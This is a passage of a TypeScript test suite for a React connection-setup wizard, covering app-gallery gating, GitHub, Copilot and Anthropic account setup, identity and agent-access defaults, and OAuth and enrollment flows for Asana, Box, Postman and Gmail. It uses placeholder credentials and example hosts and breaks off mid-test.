||
expect(radioContaining("Just agents I pick")).toBeTruthy();
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it.each([false, true])("gates chat-only cards in the embedded tool gallery without hiding GitHub (%s)", async (enabled) => {
|
||
experimentalMock.mockResolvedValue({ enableChatConnectors: enabled });
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB, getAppStoreDefinition("discord"), getAppStoreDefinition("telegram")] });
|
||
await render();
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent?.includes("Discord")).toBe(enabled);
|
||
expect(container.textContent?.includes("Telegram")).toBe(enabled);
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
});
|
||
|
||
it.each([
|
||
["telegram", "Telegram", "https://t.me/example_bot"],
|
||
["discord", "Discord", "https://discord.com/channels/example"],
|
||
])("does not reveal hidden %s setup from a pasted link or its generic follow-up", async (slug, name, url) => {
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB, getAppStoreDefinition(slug)] });
|
||
await render();
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')!;
|
||
await act(async () => setInputValue(input, url));
|
||
await flushReact();
|
||
expect(container.textContent).not.toContain(`This looks like ${name}`);
|
||
expect(buttonByText(`Use ${name}`)).toBeUndefined();
|
||
await act(async () => buttonByText("Continue")!.click());
|
||
await flushReact();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).not.toContain(`guided setup for ${name}`);
|
||
expect(buttonByText(`Use ${name}`)).toBeUndefined();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("matches GitHub tool URLs independently of gallery search while chat connectors are hidden", async () => {
|
||
await render();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[placeholder="Search apps…"]')!, "no matching cards"));
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')!, "https://github.com/example/repository"));
|
||
await flushReact();
|
||
expect(container.textContent).toContain("This looks like GitHub");
|
||
expect(buttonByText("Use GitHub")).toBeTruthy();
|
||
await act(async () => buttonByText("Use GitHub")!.click());
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
expect(container.textContent).toContain("My GitHub account");
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
});
|
||
|
||
// -------------------------------------------------------------------------
|
||
// Access step (PAP-17835). Identity and agent reach are chosen before any
|
||
// credential is entered.
|
||
// -------------------------------------------------------------------------
|
||
|
||
it.each([false, true])("offers both Anthropic methods without the obsolete REST option (task repair: %s)", async (taskRepair) => {
|
||
const createAiAccount = vi.spyOn(aiConnectionsApi, "create").mockResolvedValue({
|
||
connectionId: "anthropic-ai-account", grantId: "anthropic-ai-grant",
|
||
});
|
||
mockParams.appKey = "anthropic";
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")] });
|
||
const client = new QueryClient({ defaultOptions: { queries: {
|
||
retry: false,
|
||
staleTime: Infinity,
|
||
} } });
|
||
client.setQueryData(queryKeys.environments.list("company-1"), [
|
||
{ id: "local-env", name: "Local", driver: "local", status: "active", config: {} },
|
||
]);
|
||
client.setQueryData(queryKeys.environments.capabilities("company-1"), {});
|
||
client.setQueryData(queryKeys.instance.settings, { defaultEnvironmentId: "local-env" });
|
||
client.setQueryData(queryKeys.instance.generalSettings, {});
|
||
client.setQueryData(queryKeys.health, { deploymentMode: "authenticated", localAiLoginSupported: false });
|
||
await render(client, false, taskRepair ? <ConnectionSetupFlow host="dialog" serviceSlug="anthropic" interactionId="ai-intent" requestedAgentId="agent-1" aiConnection={{ provider: "anthropic", method: "subscription", mode: "responsible_user" }} /> : undefined);
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connection name");
|
||
expect(container.textContent).not.toContain("How do you want to connect?");
|
||
expect(radioContaining("Use an API key")).toBeUndefined();
|
||
expect(container.querySelector('[role="alert"]')).toBeNull();
|
||
await act(async () => buttonContaining("Use API key instead")!.click());
|
||
await act(async () => buttonContaining("Claude")!.click());
|
||
await flushReact();
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(key).toBeTruthy();
|
||
await act(async () => setInputValue(key!, "fixture-anthropic-ai-key"));
|
||
await act(async () => buttonByText("Connect")!.click());
|
||
await flushReact();
|
||
expect(createAiAccount).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
provider: "anthropic", method: "api_key", apiKey: "fixture-anthropic-ai-key",
|
||
}));
|
||
if (!taskRepair) expect(mockNavigate).toHaveBeenCalledWith("/apps/anthropic-ai-account/permissions");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Connect for tool access instead");
|
||
});
|
||
|
||
it.each([false, true])("opens Copilot with visible personal defaults and shares only by explicit choice (%s)", async (share) => {
|
||
mockSearch.value = "source=github&method=copilot-token";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB] });
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false, staleTime: Infinity } } });
|
||
client.setQueryData(queryKeys.environments.list("company-1"), [
|
||
{ id: "local-env", name: "Local", driver: "local", status: "active", config: {} },
|
||
]);
|
||
client.setQueryData(queryKeys.instance.settings, { defaultEnvironmentId: "local-env" });
|
||
const createAiAccount = vi.spyOn(aiConnectionsApi, "create").mockResolvedValue({
|
||
connectionId: "copilot-ai-account", grantId: "copilot-ai-grant",
|
||
});
|
||
await render(client);
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("personal fine-grained token with Copilot Requests permission");
|
||
expect(container.querySelector('input[placeholder="github_pat_..."]')).toBeTruthy();
|
||
expect(container.querySelector('[aria-label="Copilot execution environment"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("You must connect this instance to Paperclip");
|
||
expect(getCloudConnectorEnrollmentMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connects as you");
|
||
expect(container.textContent?.match(/Connects as you/g)).toHaveLength(1);
|
||
expect(container.textContent).toContain("Connect GitHub Copilot");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("My GitHub account")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Only agents I choose")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("false");
|
||
if (share) {
|
||
await act(async () => radioContaining("Shared organization GitHub account")!.click());
|
||
await act(async () => radioContaining("Any agent")!.click());
|
||
}
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
await act(async () => setInputValue(key, "fixture-copilot-token"));
|
||
await act(async () => buttonByText("Connect")!.click());
|
||
await flushReact();
|
||
expect(createAiAccount).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
provider: "github", method: "api_key", apiKey: "fixture-copilot-token",
|
||
ownership: share ? "shared" : "personal", allAgents: share, agentIds: [],
|
||
environmentId: "local-env",
|
||
}));
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/copilot-ai-account/permissions");
|
||
});
|
||
|
||
it("states the GitHub identity default and keeps its controls one click away", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
await render();
|
||
|
||
// PAP-659 C0: the default is printed, not asked. Nothing about identity or
|
||
// reach blocks the primary action.
|
||
expect(container.textContent).toContain("Connects as you, available to all agents.");
|
||
expect(container.textContent).not.toContain("Connect GitHub as");
|
||
expect(container.querySelector('[role="radio"]')).toBeNull();
|
||
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
expect(container.textContent).toContain("Which agents may use your GitHub when you’re responsible?");
|
||
expect(container.textContent).not.toContain("Choose access before adding credentials");
|
||
expect(container.textContent).not.toContain("Set the identity and agent reach first");
|
||
expect(container.textContent).not.toContain("Which humans can use this credential?");
|
||
expect(container.textContent).not.toContain("Choose where this connection will be available.");
|
||
// Nothing about the credential itself is on screen yet.
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
|
||
const radios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
const myAccount = radios.find((r) => r.textContent?.includes("My GitHub account"));
|
||
const dedicated = radios.find((r) => r.textContent?.includes("A dedicated account for an agent"));
|
||
const agentsIPick = radios.find((r) => r.textContent?.includes("Only agents I choose"));
|
||
const anyAgent = radios.find((r) => r.textContent?.includes("Any agent"));
|
||
expect(myAccount).toBeTruthy();
|
||
expect(dedicated).toBeTruthy();
|
||
expect(myAccount?.textContent).toContain("Agents use it only for runs where you are the responsible person.");
|
||
expect(dedicated?.textContent).toContain("That agent always uses this account, regardless of who starts the run.");
|
||
expect(agentsIPick?.textContent).toContain("Only selected agents may use your GitHub when you’re responsible.");
|
||
expect(anyAgent?.textContent).toContain("Every agent may use your GitHub when you’re responsible.");
|
||
expect(myAccount?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(dedicated?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(agentsIPick?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(anyAgent?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(2);
|
||
expect(myAccount?.getAttribute("aria-checked")).toBe("true");
|
||
expect(dedicated?.getAttribute("aria-checked")).toBe("false");
|
||
// Every agent is the default reach for the responsible person's identity.
|
||
expect(agentsIPick?.getAttribute("aria-checked")).toBe("false");
|
||
expect(anyAgent?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it("keeps provider guidance and card styling out of the access controls", async () => {
|
||
mockParams.appKey = "pagerduty";
|
||
listGalleryMock.mockResolvedValue({ apps: [PAGERDUTY] });
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).not.toContain("A PagerDuty API token");
|
||
expect(container.textContent).not.toContain("Use a customer-created PagerDuty key");
|
||
expect(container.textContent).not.toContain("Review PagerDuty setup requirements");
|
||
|
||
const accessHeading = Array.from(container.querySelectorAll("h2")).find(
|
||
(heading) => heading.textContent === "Which humans can use this credential?",
|
||
);
|
||
const accessCard = accessHeading?.closest(".overflow-hidden");
|
||
expect(accessCard).toBeTruthy();
|
||
expect(accessCard?.classList.contains("bg-card")).toBe(false);
|
||
expect(accessCard?.classList.contains("shadow-sm")).toBe(false);
|
||
});
|
||
|
||
it("defaults to every agent and states an empty explicit selection", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
// PAP-659 C0: narrowing reach never blocks Connect. An empty selection is
|
||
// reported in the stated default instead of disabling the primary action.
|
||
expect(container.textContent).toContain("available to all agents.");
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("no agents selected yet.");
|
||
});
|
||
|
||
it("reflects a changed access selection in the stated default", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The sentence above the primary action is the only place this is said, so
|
||
// it has to track the controls rather than print a fixed default.
|
||
expect(container.textContent).toContain("no agents selected yet");
|
||
|
||
const radios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
expect(radios.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it("returns to the pending skill import when GitHub setup is cancelled", async () => {
|
||
mockParams.appKey = "github";
|
||
rememberSkillSourceReturn("company-1", "new");
|
||
await render();
|
||
await act(async () => buttonByText("Cancel")?.click());
|
||
expect(mockNavigate).toHaveBeenCalledWith("/skills/sources/new");
|
||
expect(skillSourceReturnPath("company-1")).toBeNull();
|
||
});
|
||
|
||
it("uses Cancel to exit while the bottom Back button stays in the wizard", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonByText("Cancel")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
/**
|
||
* Company-wide is a default, not a restriction. Flexible API-key and OAuth
|
||
* methods must still let the operator deliberately choose a personal identity.
|
||
*/
|
||
it("defaults flexible methods to company identity and keeps personal credentials submittable", async () => {
|
||
mockSearch.value = "source=posthog&method=mcp-api-key";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...POSTHOG, methods: POSTHOG.methods.filter((method) => method.key === "mcp-api-key") }] });
|
||
|
||
const identityChoices = () => {
|
||
const radios = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
);
|
||
return {
|
||
justMe: radios.find((r) => r.textContent?.includes("Just me")),
|
||
wholeOrg: radios.find((r) => r.textContent?.includes("Any human in the organization")),
|
||
};
|
||
};
|
||
|
||
// --- API-key-only method: shared by default, personal still offered ------
|
||
let root = await render();
|
||
await act(async () => {
|
||
buttonContaining("PostHog")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await openAccessAdvanced();
|
||
|
||
const github = identityChoices();
|
||
expect(github.wholeOrg?.getAttribute("aria-checked")).toBe("true");
|
||
expect(github.justMe?.getAttribute("aria-checked")).toBe("false");
|
||
// Present, and genuinely selectable — not the disabled-with-reason state.
|
||
expect(github.justMe).toBeTruthy();
|
||
expect(github.justMe?.disabled).toBe(false);
|
||
expect(document.body.textContent).not.toContain(
|
||
"This connection method supports a shared organization credential only.",
|
||
);
|
||
|
||
await act(async () => {
|
||
github.justMe?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Any agent"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "posthog-personal-token"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The load-bearing assertion: an API-key-only method reaches the server as
|
||
// a personal grant. A disabled "Just me" would make this unreachable.
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
galleryKey: "posthog",
|
||
grantKind: "user",
|
||
});
|
||
|
||
// --- Same gallery, identity-bearing method: company by default -----------
|
||
await act(async () => root.unmount());
|
||
document.body.innerHTML = "";
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mockParams.appKey = "posthog";
|
||
mockSearch.value = "";
|
||
root = await render();
|
||
await openAccessAdvanced();
|
||
|
||
const posthog = identityChoices();
|
||
expect(posthog.justMe?.getAttribute("aria-checked")).toBe("false");
|
||
expect(posthog.wholeOrg?.getAttribute("aria-checked")).toBe("true");
|
||
expect(posthog.justMe?.disabled).toBe(false);
|
||
expect(posthog.wholeOrg?.disabled).toBe(false);
|
||
});
|
||
|
||
it("shows Gmail's instance configuration notice instead of a dead connect path", async () => {
|
||
const reason = "Configure Paperclip ID before connecting Gmail.";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{ ...GMAIL, availability: { available: false, reason } }],
|
||
});
|
||
await render();
|
||
|
||
const gmail = buttonContaining("Gmail");
|
||
expect(gmail?.disabled).toBe(true);
|
||
expect(gmail?.textContent).toContain(reason);
|
||
expect(gmail?.textContent).not.toContain("Coming soon");
|
||
});
|
||
|
||
it("defaults Asana to managed sign-in and allows a custom app before enrollment", async () => {
|
||
mockSearch.value = "source=asana";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...ASANA, methods: ASANA.methods.filter((method) => !method.oauthStrategy), ownershipAvailability: {
|
||
...ASANA.ownershipAvailability, platform_shared: false,
|
||
} }] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ configured: false, status: "not_configured", origins: [] });
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
await act(async () => { buttonByText("Use your own Asana OAuth app")!.click(); });
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Your OAuth app");
|
||
expect(container.textContent).toContain("API apps do not work with Asana MCP");
|
||
expect(container.textContent).not.toContain("You must connect this instance");
|
||
await act(async () => { setInputValue(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!, "asana-client"); });
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
expect(startCloudConnectorEnrollmentMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each([true, false])("requires the acting user's saved Asana client secret for reuse (%s)", async (hasSavedOAuthClientSecret) => {
|
||
mockSearch.value = "source=asana&resume=conn-asana";
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-asana", status: "draft", metadata: { sourceTemplateKey: "asana" } }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
id: "conn-asana", applicationId: "app-asana", name: "Asana", authKind: "oauth",
|
||
credentialPolicy: "per_user", status: "draft", credentialSecretRefs: [], hasSavedOAuthClientSecret,
|
||
config: { sourceTemplateKey: "asana", connectionMethodKey: "mcp-own-oauth", oauth: { clientId: "saved-asana-client", clientRegistrationSource: "manual" } },
|
||
transportConfig: {},
|
||
}] });
|
||
await render();
|
||
await flushReact();
|
||
expect(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")?.value).toBe("saved-asana-client");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(!hasSavedOAuthClientSecret);
|
||
await act(async () => { setInputValue(container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!, "different-client"); });
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
});
|
||
|
||
it("collects customer-owned OAuth client details for a curated manual OAuth app", async () => {
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [BOX],
|
||
oauthCallbackUrl: "https://paperclip.example.test/api/tools/oauth/callback",
|
||
});
|
||
mockParams.appKey = "box";
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
expect(container.textContent).toContain("Open Box app settings");
|
||
// The extra work reads as the provider's limitation, not as Box's normal path.
|
||
expect(container.textContent).toContain(
|
||
"does not let Paperclip register itself automatically",
|
||
);
|
||
expect(container.textContent).toContain("Paperclip callback URL");
|
||
expect(container.textContent).toContain(
|
||
"https://paperclip.example.test/api/tools/oauth/callback",
|
||
);
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
|
||
const clientId = container.querySelector<HTMLInputElement>("#curated-oauth-client-id")!;
|
||
const clientSecret = container.querySelector<HTMLInputElement>("#curated-oauth-client-secret")!;
|
||
await act(async () => {
|
||
setInputValue(clientId, "box-client-id");
|
||
setInputValue(clientSecret, "box-client-secret");
|
||
});
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "box",
|
||
connectionMethodKey: "mcp-own-oauth",
|
||
oauthClient: {
|
||
clientId: "box-client-id",
|
||
clientSecret: "box-client-secret",
|
||
},
|
||
}));
|
||
});
|
||
|
||
it("connects Asana through the shared app without client credentials", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA_MANAGED] });
|
||
mockParams.appKey = "asana";
|
||
await render();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
const primary = buttonByText("Continue to sign in");
|
||
expect(primary).toBeTruthy();
|
||
expect(primary?.disabled).toBe(false);
|
||
await act(async () => { primary!.click(); });
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "asana", connectionMethodKey: "managed", grantKind: "user",
|
||
}));
|
||
});
|
||
|
||
it("allows a custom Asana app from the shared sign-in setup", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA_MANAGED] });
|
||
mockParams.appKey = "asana";
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-asana",
|
||
application: { id: "app-asana", name: "Asana" },
|
||
connection: { id: "conn-asana" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://app.asana.com/-/oauth_authorize?state=opaque" },
|
||
});
|
||
await render();
|
||
await flushReact();
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
|
||
await openAccessAdvanced();
|
||
await flushReact();
|
||
const customApp = buttonByText("Use your own Asana OAuth app");
|
||
expect(customApp).toBeTruthy();
|
||
await act(async () => { customApp!.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
|
||
const clientId = container.querySelector<HTMLInputElement>("#curated-oauth-client-id");
|
||
const clientSecret = container.querySelector<HTMLInputElement>("#curated-oauth-client-secret");
|
||
expect(clientId).toBeTruthy();
|
||
expect(clientSecret).toBeTruthy();
|
||
await act(async () => {
|
||
setInputValue(clientId!, "asana-own-client");
|
||
setInputValue(clientSecret!, "asana-own-secret");
|
||
});
|
||
await flushReact();
|
||
await act(async () => { buttonByText("Continue to sign in")!.click(); });
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenLastCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "asana", connectionMethodKey: "mcp-own-oauth",
|
||
oauthClient: { clientId: "asana-own-client", clientSecret: "asana-own-secret" },
|
||
}));
|
||
});
|
||
|
||
it("submits the Postman access mode selected on the setup screen", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [POSTMAN] });
|
||
mockParams.appKey = "postman";
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-postman",
|
||
application: { id: "app-postman", name: "Postman" },
|
||
connection: { id: "conn-postman" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://oauth.pstmn.io/authorize?state=opaque" },
|
||
});
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
const full = radioContaining("Full");
|
||
const code = radioContaining("Code");
|
||
expect(full).toBeTruthy();
|
||
expect(code).toBeTruthy();
|
||
expect(full?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => {
|
||
code?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(code?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => {
|
||
full?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(full?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("US · Browser sign-in")?.getAttribute("aria-checked")).toBe("true");
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "postman",
|
||
connectionMethodKey: "mcp-oauth-full",
|
||
}));
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://oauth.pstmn.io/authorize?state=opaque",
|
||
);
|
||
});
|
||
|
||
it("opens a manual OAuth app from the same source deep link Browse uses", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [ASANA] });
|
||
mockParams.appKey = undefined;
|
||
mockSearch.value = "source=asana";
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(document.body.textContent).toContain("Which humans can use this credential?");
|
||
expect(document.body.textContent).toContain("Which agents can use this connection?");
|
||
expect(document.body.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("starts a selected app deep link at step one of its two-step setup", async () => {
|
||
mockSearch.value = "source=gmail";
|
||
listGalleryMock.mockResolvedValue({ apps: [GMAIL] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: a selected app has one screen, so no stepper at all.
|
||
expect(document.body.textContent).not.toContain("Step 1 of 2");
|
||
expect(document.body.textContent).not.toContain("Pick app ·");
|
||
expect(document.body.textContent).toContain("Connect Gmail");
|
||
});
|
||
|
||
it("opens a brokered Gmail deep link at the access step", async () => {
|
||
mockParams.appKey = "gmail";
|
||
mockSearch.value = "byo=1&appKey=gmail&stage=access";
|
||
listGalleryMock.mockResolvedValue({ apps: [GMAIL] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: a selected app is one screen, so there is no stepper and no
|
||
// Access stage to deep-link into; a legacy stage=access URL lands here.
|
||
expect(document.body.textContent).not.toContain("Step 1 of 2");
|
||
expect(document.body.textContent).not.toContain("Pick app ·");
|
||
expect(document.body.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(document.body.textContent).toContain("Which humans can use this credential?");
|
||
expect(document.body.textContent).toContain("Just me");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("prompts for one-time Cloud registration inside Gmail when managed methods are not yet advertised", async () => {
|
||
mockParams.appKey = "gmail";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [customerOwnedApp(GMAIL)],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValueOnce(unconfiguredConnectorEnrollment());
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
expect(container.textContent).toContain(
|
||
"You must connect this instance to Paperclip to connect to Gmail (you only need to do this once).",
|
||
);
|
||
expect(buttonByText("Connect with Paperclip")?.closest(".rounded-xl")?.classList.contains("border-border")).toBe(true);
|
||
expect(container.textContent).not.toContain("Required once for managed Google sign-in.");
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
|
||
await act(async () => {
|
||
buttonByText("Connect with Paperclip")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith(
|
||
"company-1",
|
||
"Paperclip",
|
||
"/apps/connect?source=gmail&stage=setup",
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
);
|
||
});
|
||
|
||
it.each([false, true])("retains task access and interaction through enrollment (popup blocked: %s)", async (popupBlocked) => {
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
const open = vi.spyOn(window, "open").mockReturnValue(popupBlocked ? null : popup as unknown as Window);
|
||
listGalleryMock.mockResolvedValue({ apps: [customerOwnedApp(GMAIL)] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "not_configured" });
|
||
await render(client, false, <ConnectionSetupFlow host="dialog" serviceSlug="gmail" interactionId="intent-1" requestedAgentId="agent-1" />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Connect with Paperclip")?.click());
|
||
await flushReact();
|
||
expect(open).toHaveBeenCalled();
|
||
if (popupBlocked) {
|
||
expect(popup.location.assign).not.toHaveBeenCalled();
|
||
} else {
|
||
expect(popup.location.assign).toHaveBeenCalledWith("https://my-staging.paperclip.app/connections/enroll?id=enroll-test");
|
||
}
|
||
const fallback = container.querySelector<HTMLAnchorElement>('a[target="_blank"]');
|
||
expect(fallback?.textContent).toBe("Open authorization in a new tab");
|
||
expect(fallback?.href).toBe("https://my-staging.paperclip.app/connections/enroll?id=enroll-test");
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith("company-1", "Paperclip", "/apps/connect?source=gmail&stage=setup&intent=intent-1&enrollment_host=dialog");
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...GMAIL, ownershipAvailability: { ...GMAIL.ownershipAvailability, platform_shared: true } }] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "active" });
|
||
await act(async () => { await client.invalidateQueries({ queryKey: ["cloud-connector", "enrollment"] }); });
|
||
await flushReact();
|
||
await flushReact();
|
||
